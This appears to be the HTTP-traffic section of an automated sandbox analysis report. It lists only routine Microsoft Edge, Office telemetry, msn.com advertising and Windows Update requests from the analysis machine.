Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732733358995&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0941BF85F38264F21CE2AAC1F2AB6567&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=136d53faa5f516cc781322a1732726736; XID=136d53faa5f516cc781322a1732726736
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0941BF85F38264F21CE2AAC1F2AB6567&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=a051456c4d3f43b1c78038d4df1d0297 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BBYyvk2?w=0&h=0&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732733358994&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4c1f15923f004863b74adb5c0e280630&activityId=4c1f15923f004863b74adb5c0e280630&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=719CC16BB7174CB989D1790A1AC7628D&MUID=0941BF85F38264F21CE2AAC1F2AB6567 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0941BF85F38264F21CE2AAC1F2AB6567; _EDGE_S=F=1&SID=06C9C66DE9DB682E2F31D329E8596974; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msG0Z.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733331526&P2=404&P3=2&P4=ns6531qhYKUxaTK1I4ZWUaXsuu665Zn0ZTe2AZwzEvUZMZ643Jkzc2um09fbosvkNSTdSx6c66vgZKOyQqJt%2fA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: YzIfEuASavKVF7o2DsQIxcSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=O4egRtPmcg3w6Cf&MD=n5k6Gc1T HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
